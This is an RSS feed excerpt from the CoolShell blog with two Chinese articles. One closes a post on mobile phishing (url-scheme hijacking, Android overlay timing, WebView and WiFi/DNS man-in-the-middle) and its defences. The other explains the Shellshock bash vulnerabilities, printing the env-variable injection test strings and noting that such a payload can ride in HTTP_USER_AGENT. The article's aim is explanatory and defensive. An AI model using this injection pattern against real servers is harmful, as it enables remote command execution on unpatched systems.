<p>所以，一个好的钓鱼式攻击一定会从这些地方入手，然后高仿UI以及交互流程，这个交互流程和用户日常操作的完全一样，让用户无法察觉。任何方式的钓鱼攻击简单来说，会有两种：</p>
<ul>
<li><strong>一种是直接攻击：</strong>你下载了一个恶意的APP，或是打开了一个恶意的冒牌APP。</li>
<li><strong>一种是中间人攻击：</strong>用户控制权转换时的两端都是正规应用，但是中间的过程不是正常的。</li>
</ul>
<h4>攻击方式</h4>
<p>下面是一些常见的攻击方式：</p>
<h5>从一个应用唤起另一个应用的方式</h5>
<p><strong>直接攻击</strong></p>
<p>当你点击一个社交分享按钮，或是一个支付按钮的时候。就会转到一个页面，这个页面需要你输入用户机密信息（密码或是支付信息），然后再唤起真正的APP。</p>
<p>一个有恶意的APP可能会让你放松警惕，因为，这个你在安装这个APP的时候，你会发现这个APP根本不需要任何的权限（Android上的），甚至连网络访问的权限都不要，因为在Android下，App可以通过别的组件访问互联网，比如：恶意应用可能创建一个MediaPlayer Object，然后就可以通过这个对象访问一个URL然后把偷到的信息发送出去。</p>
<p>你的手机要被安装一个恶意的应用并不难，同样通过社工的方式，比如：盗版，色情，伪装成客服等等通过人性的弱点让你去一些非受信的市场上安装。iOS设备上的应用也可以不用通过App Store安装（通过itms-services协议，可以通过safari浏览器直接在IOS设备上安装应用程序）。</p>
<p>还有，人们都是贪小便宜的人，所以，会到某些地方买一些便宜的手机（比如淘宝），现在的高仿手机，翻新的二手手机对于一般人甚至安全专家来说完全没有识别能力。这些手机中有很大可能藏有恶意程序。你千万不要以为你格式化手机就OK了。今天（2015年4月14日）早上CCTV2台的“第一时间”就说了一个案例，你可以看看。另外，你可以看看相关的新闻。（另外，你把你的旧手机卖了也要小心，因为你的数据就在里面，旧手机已经成了一个灰色产业链）</p>
<p>另外，Apple的App需要有一个review过程，这个过程对大众是神秘的，但我觉得应该会包括安全方面的review。不过，这个审核过程可能也有空子可以钻。比如：在review的时候，这个应用完全正常，但在用户使用的时候，会自己从网站下载一些自己的配置文件而改变行为（更为直接的就是访问外部网页时在审核时和在用户应用时可能完全不一样，Apple应该完全没有能力审核应用要访问的外部站点）</p>
<p><strong>中间人攻击</strong></p>
<p>我们知道，一个APP唤起另一个APP好多都是用url-scheme的，也就是某种协议，审核这样的协议非常简单，所以如果有恶意的东西在里面基本上很容易看到。但是，如果某些APP并没有注册自己的url-scheme，或是没有被安装，反而，另一个有恶意的APP注册了这个scheme，那么，就会导致恶意的APP被唤起来了（<span style="color: #ff0000;"><strong>这就是我为什么在我的微博中说，如果用户没有安装淘宝的客户端，那么，让微信唤起淘宝的客户端时，有可能是另一个有恶意的APP。但是很多人不懂这个事。<span style="color: #000000;">在iOS下，两个APP通讯正确的做法是“钥匙串机制”</span></strong></span>）。</p>
<p>当然如果有两个应用被注册了同一个scheme，那么，iOS和Android会给出一个选择，让用户来选（注：iOS的系统有可能会直接跳某个 App 上去，不同版本的跳规则不明确，可以认为是随机跳转）。于是乎，恶意的APP就要努力的让自己比正规的APP看起来更像个正规的APP就可以了。</p>
<p>在Android平台上，这个事可能更变态，只要恶意的应用有两个权限，一个是随手机操作系统在后台启动，一个是task list（然而这两个权限都是一般权限）。这样一来，当你进行两个APP切换时，恶意程序可以通过task list权限监控到，然后自己马上先于正规的app出现，等到收集完用户数据后简单的退出就好了。这个方式只需要你的程序能在10ms以内反应过来（最佳是5ms左右），人的肉眼根本看不出来。（在iOS设备下，除了jail break后的iPhone可以这么干，正常的都iPhone还没有找到这样的攻击方式）</p>
<h5>在一个应用内内嵌Web的方式</h5>
<p>这种方式更容易攻击了，现在很多很多应用都是内嵌的Web的形式，你完全不知道打开的网页的网站是什么，因为这些内嵌的WebView你连地址都看不见。而且无论是iOS或Android，其WebView都可以执行任何的Javascript代码，就算显示URL，URL也可能是被混乱过的，你也看不全，你也很容易上当。当然，那些使用带SSL证书的支持HTTPS的网站（尤其是EV证书）可以在地址栏上显示一个绿色的标记表示你访问的就是正确网址，但是并不是所有的浏览器都会这样，比如iPhone的Safari并没有这个提示，所以，你一定要用Chrome。</p>
<p>更狠的是就算你打开的是一个正确的URL，你依然可能被中间人攻击。尤其是这个网站使用了明文的HTTP协议，而你又喜欢蹭那些免费的WiFi，于是很容易给把服务器返回给你的网页中做修改，比如，修改网页中login表单或是支付表单提交的网站（想想天朝的网络运营商给你访问的正常的网页弹广告这事吧）</p>
<p>关于DNS劫持，有些人觉得这事可能遇不上，因为这是一个全网的问题，如果你有这样的想法你就错了。还是那样，你爱占便宜，蹭上那些没有密码的WiFi，你完不知道，你连上去的那个WiFi会设置什么样的DNS服务器，你输入了www.taobao.com，但你打开的网站根本就是不是淘定，而是一个钓鱼网站。你会知道你打开的是错的了么？基本不可能。所以，安全点的网站都是要用HTTPS，但是还是那句话，iPhone的Safari并不会提示你打开网站的SSL证书合不合法（事实上，在手机上的很多浏览器都不会这提示，只有Chrome会）。</p>
<p>关于攻击的方式我不想讲太多，还有很多高级+猥琐的方式我也不是完全知道，知道了我也不说，不然，教人犯罪了。</p>
<p>关于从Web端唤起APP是和，APP唤醒APP的攻击方式基本一样。我就不说了。</p>
<h4>怎么防范钓鱼式攻击</h4>
<p>首先，我们要知道，钓鱼式攻击是一件非常难搞的事。要搞定这个事，一般来说需要四个方面：<strong>立法层面</strong>、<strong>用户培训层面</strong>、<strong>宣传层面</strong>、与<strong>技术保全措施层面</strong>。</p>
<p><strong>教育方面</strong></p>
<p>打击网钓的策略之一，是试着培养人们识别网钓，并教导怎样处理这些问题。只需要稍稍修改人们浏览习惯的方式，很多问题都可以避免。随着人们越来越认识到网钓者所使用的社会工程学技俩，传统的网钓欺诈技术可能在未来过时。</p>
<ul>
<li>对别人发来的链接要小心，尤其是让你输入机密信息的链接要小心检查。</li>
</ul>
<ul>
<li>到正规的地方买手机，不要贪图小便宜。旧手机在卖前要“物理删除”数据。</li>
</ul>
<ul>
<li>不要对手机越狱，不要root。</li>
</ul>
<ul>
<li>不要从非信任的地方下载软件。</li>
</ul>
<ul>
<li>要小心免费的WiFi。</li>
</ul>
<ul>
<li>输入机密数据的时候一定要小心检查。</li>
</ul>
<ul>
<li>多依赖一些不同的安全体系，比如：网上支付不要只依赖支付宝，尽量使用信用卡（信用卡千万不要设密码），这样就算是被钓鱼了，你还有一个银行安全的缓冲地带——可以不承认交易。</li>
</ul>
<ul>
<li>现在使用手机的频率越来越高，所以，我非常建议你使用更为安全的iPhone手机，一定要打开“查找我的iPhone”功能，然后设上开机密码。iPhone手机可以做到手机丢失了别人都无法使用，包括刷机都刷不了（iOS7以上版本）</li>
</ul>
<ul>
<li>对于一些关键网站，开启两步验证，这样就算你的用户名和密码被钓走了，还有一个动态手机口令做为登录的关卡。</li>
</ul>
<p><strong>技术方面</strong></p>
<ul>
<li>利用SSL证书来保证从浏览器到网站的访问是现在采用比较多的方式，也是在理论上可行的方式。现代的浏览器都会在URL上放上一个锁的标志，对于EV证书，你会看到浏览器的URL是绿色的（很容易分辨）</li>
</ul>
<ul>
<li>另外，像firefox浏览器有一个petname的插件，你可以为你常上的网站设置一些标签。这样，当你打开钓鱼网站的时候，你会发现这些标签没有显示出来，那就有问题了。</li>
</ul>
<ul>
<li>关于SSL的CA认证机构，你需要管理好你浏览的那些根证书，有些根证书你需要删掉。</li>
</ul>
<ul>
<li>还有一种打击网钓的流行作法是保持一份已知的网钓网站名单，并随时更新。比如<a href="https://www.phishtank.com/" target="_blank">PhishTank</a>，以及<a href="http://www.apac.cn" target="_blank">中国防钓鱼网站联盟</a>。</li>
</ul>
<ul>
<li>增加式登录方式。这种方式被美国银行采用，就是说，你可以上传一个你自己知道的图片，而当你打开登录页面里时，输入了自己的用户名后，你会看到你设置的这个图片被显示出来。如果没有或是显示错了，表示你打开的是钓鱼网站。</li>
</ul>
<ul>
<li>两步验证，通过用户自设密码+手机动态口令登录（好些网站都在使用Google Authenticator的方式，这有点像公司VPN的动态口令）。</li>
</ul>
<p>上述都是PC Web上的防范，然而我们的手机移动端做的并不够好，移动端的安全还是要加油。</p>
<p><strong>安全风控方面</strong></p>
<p><strong>什么叫安全风控，说白了就是拿钱出来赔偿给被骗的用户，大家相信我，这个事情在基本上所有的公司都会做的</strong>，也就是说，无论你怎么做安全也无法保证绝对的安全，你只能缓解或是降低用户被骗的数量或概率。所以，几乎所有的公司都会有一笔钱专门用来赔偿。</p>
<p>在西方国家，用户体验很好，我说一个故事，我有一个妹妹在英国，有一天她到ATM上取钱，取完钱后忘了把卡取出，结果后面的人把她的卡里的钱取走了，于是她报了警，等警察做完笔录后，她给银行的客服打了个电话说明了情况，本想冻结银行卡的，但是银行方面二话不说就赔偿了她所有的损失。为什么英国的巴克莱银行这么痛快，是因为他们有风控基金，专门用来处理这样的事的。</p>
<p>在中国，其实银行和一些大的公司都有这笔安全风控基金，但是，要你非常坚持不懈地申诉，他们才会赔给你，而且还不是全部。要全部的话，我估计你要做一个“刁民”，否则欺负你，没道理。</p>
<h4>关于微信和淘宝</h4>
<p>微信和淘宝到底是谁先屏蔽谁我并不关心，这里面的商业利益我也不关心，微信是不是支持卖东西我也不关心。我关心的是寒冬文章中所说的微信上有淘宝钓鱼的安全问题。</p>
<p>从技术上来说，我觉得要微信和淘宝一起干这事，单方都不行，需要两边的安全专家一起讨论（如果需要，我可以帮你们约）。我这里给一个可能很不成熟的方案，算是抛砖引玉（我不考虑你们之间的商业竞争，我只从用户的角度出发，客户第一）：</p>
<blockquote><p><strong>我觉得，从业务上来说，淘宝可以在微信上有一个官方的商城。而淘宝的商家，需要取得微信的认证后入住，才能分享相关的商品或店家链接，对此，商家入住，我觉得可通过微信的服务账号与淘宝的商家后台集成可以做到。</strong></p>
<p><strong>然后，商家也好，买家也好，他们分享商品只能通过微信官方的商城或是商家的服务账号分享出去，而分享出去的商品信息可以是一个比较unique的形式（比如有一个不能伪造的官方认证的标签），而用户的支付可以通过内置的微信支付也可以通过内置的支付宝（通过唤起App并不是一个好的方式，还是应该你们在服务端进行相互的通信）。</strong></p>
<p><strong>然后微信和淘宝双方通过宣传手段告诉全社会，微信里的商品什么才是正规的，才不是钓鱼的，并给教育用户更为安全地使用手机。</strong></p></blockquote>
<p>P.S. 我虽然这么说，但从我个人来说，我非常理解微信为了让用户有很好的体验而不让微信成为一个四处都是营销商品的地方。所以，我从个人来说，希望微信不要成为一个商家的营销地。另外，我也知道阿里对移动端的看重，所以，上述的方案虽然对用户体验和安全都比较好，但是从目前商业利益的情况看来基本无法实现。不过我这里也只是抛砖引玉了。</p>
<p>面对安全和用户这两个事，<strong>你们两个中国最大的互联网公司，应该带头做好榜样，你们都是不缺钱的公司，应该更多的承担起社会的责任，真正为用户做点什么，而不是整天想着流量入口，互相屏蔽，互相指责，想着自己能有多少用户，这TMD太LOW了，和你们的地位完全不符。所以，从站在用户的角度上来说，我希望微信和淘宝都能站在用户的角度上思考问题，一起合作来真正的为用户更好的服务。</strong></p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg" alt="DHH 谈混合移动应用开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_title">DHH 谈混合移动应用开发</a></li><li ><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg" alt="Google Inbox如何跨平台重用代码？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_title">Google Inbox如何跨平台重用代码？</a></li><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg" alt="从 MongoDB “赎金事件” 看安全问题" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_title">从 MongoDB “赎金事件” 看安全问题</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/17066.html">关于移动端的钓鱼式攻击</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/17066.html/feed</wfw:commentRss>
			<slash:comments>55</slash:comments>
		
		
			</item>
		<item>
		<title>bash代码注入的安全漏洞</title>
		<link>https://coolshell.cn/articles/11973.html</link>
					<comments>https://coolshell.cn/articles/11973.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Sat, 27 Sep 2014 23:56:46 +0000</pubDate>
				<category><![CDATA[Unix/Linux]]></category>
		<category><![CDATA[技术新闻]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[env]]></category>
		<category><![CDATA[export]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[安全补丁]]></category>
		<category><![CDATA[环境变量]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=11973</guid>

					<description><![CDATA[<p>很多人或许对上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，这两天，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/11973.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/11973.html">bash代码注入的安全漏洞</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-medium wp-image-11979" src="https://coolshell.cn/wp-content/uploads/2014/09/bashbug-300x152.jpg" alt="bashbug" width="300" height="152" srcset="https://coolshell.cn/wp-content/uploads/2014/09/bashbug-300x152.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/09/bashbug.jpg 315w" sizes="(max-width: 300px) 100vw, 300px" />很多人或许对上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，这两天，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后，美国电脑紧急应变中心（US-CERT）、红帽以及多家从事安全的公司于周三（北京时间9月24日）发出警告。 关于这个安全漏洞的细节可参看美国政府计算安全的这两个漏洞披露：<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271">CVE-2014-6271</a> 和 <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169">CVE-2014-7169</a>。</p>
<p>这个漏洞其实是非常经典的“注入式攻击”，也就是可以向 bash注入一段命令，从bash1.14 到4.3都存在这样的漏洞。我们先来看一下这个安全问题的症状。</p>
<h4>Shellshock (CVE-2014-6271)</h4>
<p>下面是一个简单的测试：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">$ env VAR=&#039;() { :;}; echo Bash is vulnerable!&#039; bash -c &quot;echo Bash Test&quot;</code></p>
<p>如果你发现上面这个命令在你的bash下有这样的输出，那你就说明你的bash是有漏洞的：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW" data-enlighter-highlight="1">Bash is vulnerable!
Bash Test</pre>
<p>简单地看一下，其实就是向环境变量中注入了一段代码 <strong>echo Bash is vulnerable</strong>。关于其中的原理我会在后面给出。</p>
<p>很快，CVE-2014-6271的官方补丁出来的了——<a href="https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00081.html" target="_blank">Bash-4.3 Official Patch 25</a>。</p>
<p><span id="more-11973"></span></p>
<h4>AfterShock &#8211; CVE-2014-7169 （又叫Incomplete fix to Shellshock）</h4>
<p>但随后，马上有人在Twitter上发贴——<a href="http://twitter.com/taviso/statuses/514887394294652929" target="_blank">说这是一个不完整的fix</a>，并给出了相关的攻击方法。</p>
<p><a href="http://twitter.com/taviso/statuses/514887394294652929" target="_blank"><img decoding="async" loading="lazy" class="aligncenter size-medium wp-image-11974" src="https://coolshell.cn/wp-content/uploads/2014/09/bash-300x153.jpg" alt="" width="300" height="153" srcset="https://coolshell.cn/wp-content/uploads/2014/09/bash-300x153.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/09/bash.jpg 582w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>也就是下面这段测试代码（注意，其中的sh在linux下等价于bash）：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">env X=&#039;() { (a)=&gt;\&#039; sh -c &quot;echo date&quot;; cat echo</code></p>
<p>上面这段代码运行起来会报错，但是它要的就是报错，报错后会在你在当前目录下生成一个echo的文件，这个文件的内容是一个时间文本。下面是上面 这段命令执行出来的样子。</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">$ env X=&#039;() { (a)=&gt;\&#039; sh -c &quot;echo date&quot;; cat echo
sh: X: line 1: syntax error near unexpected token `=&#039;
sh: X: line 1: `&#039;
sh: error importing function definition for `X&#039;
Sat Sep 27 22:06:29 CST 2014</pre>
<p>这段测试脚本代码相当的诡异，就像“天书”一样，我会在后面详细说明这段代码的原理。</p>
<h4>原理和技术细节</h4>
<p>要说清楚这个原理和细节，我们需要从 bash的环境变量开始说起。</p>
<h5>bash的环境变量</h5>
<p>环境变量大家知道吧，这个不用我普及了吧。环境变量是操作系统运行shell中的变量，很多程序会通过环境变量改变自己的执行行为。在bash中要定义一个环境变量的语法很简单（注：=号的前后不能有空格）：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">$ var=&quot;hello world&quot;</code></p>
<p>然后你就可以使用这个变量了，比如：echo $var什么的。但是，我们要知道，这个变量只是一个当前shell的“局部变量”，只在当前的shell进程中可以访问，这个shell进程fork出来的进程是访问不到的。</p>
<p>你可以做这样的测试：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
$ var=&quot;hello coolshell&quot;
$ echo $var
hello coolshell
$ bash
$ echo $var
</pre>
<p>上面的测试中，第三个命令执行了一个bash，也就是开了一个bash的子进程，你就会发现var不能访问了。</p>
<p>为了要让shell的子进程可以访问，我们需要export一下：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">$ export var=&quot;hello coolshell&quot;</code></p>
<p>这样，这个环境变量就会在其子进程中可见了。</p>
<p>如果你要查看一下有哪些环境变量可以在子进程中可见（也就是是否被export了），你可使用<strong>env</strong>命令。不过，env命令也可以用来定义export的环境变量。如下所示：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">$ env var=&quot;hello haoel&quot;</code></p>
<p>有了这些基础知识还不够，我们还要知道一个基础知识——shell的函数。</p>
<h5>bash的函数</h5>
<p>在bash下定义一个函数很简单，如下所示：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">$ foo(){ echo &quot;hello coolshell&quot;; }
$ foo
hello coolshell</pre>
<p>有了上面的环境变量的基础知识后，你一定会想试试这个函数是否可以在子进程中调用，答案当然是不行的。</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">$ foo(){ echo &quot;hello coolshell&quot;; }
$ foo
hello coolshell
$ bash
$ foo
bash: foo: command not found</pre>
<p>你看，和环境变量是一样的，如果要在子进程中可以访问的话，那么，还是一样的，需要export，export有个参数 -f，意思是export一个函数。如：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW" data-enlighter-highlight="4">$ foo(){ echo &quot;hello coolshell&quot;; }
$ foo
hello coolshell
$ export -f foo
$ bash
$ foo
hello coolshell</pre>
<p>好了，我讲了这么半天的基础知识，别烦，懂了这些，你才会很容易地理解这两个漏洞是怎么回事。</p>
<p>好，现在要进入正题。</p>
<h5>bash的bug</h5>
<p>从上面我们可以看到，bash的变量和函数用了一模一样的机制，如果你用env命令看一下export出来的东西，你会看到上面我们定义的变量和函数都在，如下所示（我省略了其它的环境变量）：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">$ env
var=hello coolshell
foo=() { echo &quot;hello coolshell&quot;
}</pre>
<p>原来，都用同样的方式啊——<strong>无论是函数还是变量都是变量啊</strong>。于是，看都不用看bash的源代码，聪明的黑客就能猜得到——<strong>bash判断一个环境变量是不是一个函数，就看它的值是否以&#8221;()&#8221;开始</strong>。于是，一股邪念涌上心头。</p>
<p>黑客定义了这样的环境变量（注：() 和 { 间的空格不能少）：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">$ export X=&#039;() { echo &quot;inside X&quot;; }; echo &quot;outside X&quot;;&#039;</code></p>
<p>env一下，你会看到X已经在了：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">$ env
X=(){ echo &quot;inside X&quot;; }; echo &quot;outside X&quot;;</pre>
<p>然后，<strong>当我们在当前的bash shell进程下产生一个bash的子进程时，新的子进程会读取父进程的所有export的环境变量，并复制到自己的进程空间中，很明显，上面的X变量的函数的后面还注入了一条命令：echo &#8220;outside X&#8221;，这会在父进程向子进程复制的过程中被执行吗？</strong>（关于fork相关的东西你可以看一下我以前写的《<a title="一个fork的面试题" href="https://coolshell.cn/articles/7965.html" target="_blank">fork的一个面试题</a>》）</p>
<p>答案是肯定的。</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">$ export X=&#039;() { echo &quot;inside X&quot;; }; echo &quot;outside X&quot;;&#039;
$ bash
outside X</pre>
<p>你看，一个代码注入就这样完成了。这就是bash的bug—— <strong>函数体外面的代码被默认地执行了</strong>。</p>
<p>我们并不一定非要像上面那样创建另一个bash的子进程，我们可以使用bash -c的参数来执行一个bash子进程命令。就像这个安全漏洞的测试脚本一样：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">env VAR=&#039;() { :;}; echo Bash is vulnerable!&#039; bash -c &quot;echo Bash Test&quot;</code></p>
<p>其中，() { :;} 中的冒号就相当于/bin/true，返回true并退出。而bash -c其实就是在spawn一个bash的echo的子进程，用于触发函数体外的echo命令。所以，更为友好一点的测试脚本应该是：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">env VAR=&#039;() { :;}; echo Bash is vulnerable!&#039; bash -c &quot;echo 如果你看到了vulnerable字样说明你的bash有安全问题&quot;</code></p>
<p>OK，你应该明白这个漏洞是怎么一回事了吧。</p>
<h4>bash漏洞的影响有多大</h4>
<p>在网上看到好多人说这个漏洞不大，还说这个事只有那些陈旧的执行CGI脚本的网站才会有，现在已经没有网站用CGI了。我靠，这真是无知者无畏啊。</p>
<p>我举个例子，如果你的网站中有调用操作系统的shell命令，比如你用PHP执行个exec之类的东西。这样的需求是有的，特别是对于一些需要和操作系统交互的重要的后台用于系统管理的程序。于是就会开一个bash的进程来执行。</p>
<p>我们还知道，现在的HTTP服务器基本上都是以子进程式的，所以，其中必然会存在export 一些环境变量的事，而有的环境变量的值是从用户端来的，比如：HTTP_USER_AGENT这样的环境变量，只由浏览器发出的。其实这个变量你想写成什么就写成什么。</p>
<p>于是，我可以把这个HTTP_USER_AGENT的环境变量设置成上述的测试脚本，只不过，我会把echo Bash is vulnerable!这个东西换成别的更为凶残的命令。呵呵。</p>
<p>关于这个漏洞会影响哪些已有的系统，你可以自己Google，几乎所有的报告这个漏洞的文章都说了（比如：<a href="https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/" target="_blank">这篇</a>，<a href="https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability" target="_blank">这篇</a>），我这里就不复述了。</p>
<p>注：如果你要看看你的网站有没有这样的问题，你可以用这个在线工具测试一下：<a href="http://shellshock.brandonpotter.com/">&#8216;ShellShock&#8217; Bash Vulnerability CVE-2014-6271 Test Tool</a>。</p>
<p>现在，你知道这事可能会很大了吧。还不赶快去打补丁。（注，yum update bash 把bash版本升级到 4.1.2-15.el6_5.2 ，<!-- <strong>但是这个版本还没有fix CVE-2014-7169，载止本文发布之时，目前还没有正式的CVE-2014-7169的补丁，你可以<a href="https://access.redhat.com/security/cve/CVE-2014-7169" target="_blank">关注Redhat的官方关于CVE-2014-7169 的 ticket</a></strong>--> ）</p>
<h4>关于 AfterShock &#8211; CVE-2014-7169 测试脚本的解释</h4>
<p>很多同学没有看懂下面这个测试脚本是什么意思，我这里解释一下。</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">env X=&#039;() { (a)=&gt;\&#039; sh -c &quot;echo date&quot;; cat echo</code></p>
<ul>
<li>X='() { (a)=&gt;\&#8217; 这个不用说了，定义一个X的环境变量。但是，这个函数不完整啊，是的，这是故意的。另外你一定要注意，\&#8217;不是为了单引号的转义，X这个变量的值就是 <strong>() { (a)=&gt;\</strong></li>
</ul>
<ul>
<li>其中的 (a)=这个东西目的就是为了让bash的解释器出错（语法错误）。</li>
</ul>
<ul>
<li>语法出错后，在缓冲区中就会只剩下了 “&gt;\”这两个字符。</li>
</ul>
<ul>
<li>于是，这个神奇的bash会把后面的命令echo date换个行放到这个缓冲区中，然后执行。</li>
</ul>
<p>相当于在shell 下执行了下面这个命令：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">$ &gt;\
echo date</pre>
<p>如果你了解bash，你会知道 \ 是用于命令行上换行的，于是相当于执行了：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW"> $ &gt;echo date</code></p>
<p>这不就是一个重定向么？上述的命令相当于：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">$ date &gt; echo </code></p>
<p>于是，你的当前目录下会出现一个echo的文件，这个文件的内容就是date命令的输出。</p>
<p><strong>能发现这个种玩法的人真是个变态，完全是为bash的源代码量身定制的一个攻击</strong>。</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="http://coolshell.cn/articles/8619.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png" alt="你可能不知道的Shell" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8619.html" class="wp_rp_title">你可能不知道的Shell</a></li><li ><a href="http://coolshell.cn/articles/1399.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/09/bashprompts-hurring-150x150.jpg" alt="8个实用而有趣Bash命令提示行" width="150" height="150" /></a><a href="http://coolshell.cn/articles/1399.html" class="wp_rp_title">8个实用而有趣Bash命令提示行</a></li><li ><a href="http://coolshell.cn/articles/7965.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg" alt="一个fork的面试题" width="150" height="150" /></a><a href="http://coolshell.cn/articles/7965.html" class="wp_rp_title">一个fork的面试题</a></li><li ><a href="http://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="http://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="http://coolshell.cn/articles/11466.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg" alt="C语言的整型溢出问题" width="150" height="150" /></a><a href="http://coolshell.cn/articles/11466.html" class="wp_rp_title">C语言的整型溢出问题</a></li><li ><a href="http://coolshell.cn/articles/6976.html" class="wp_rp_thumbnail"><img 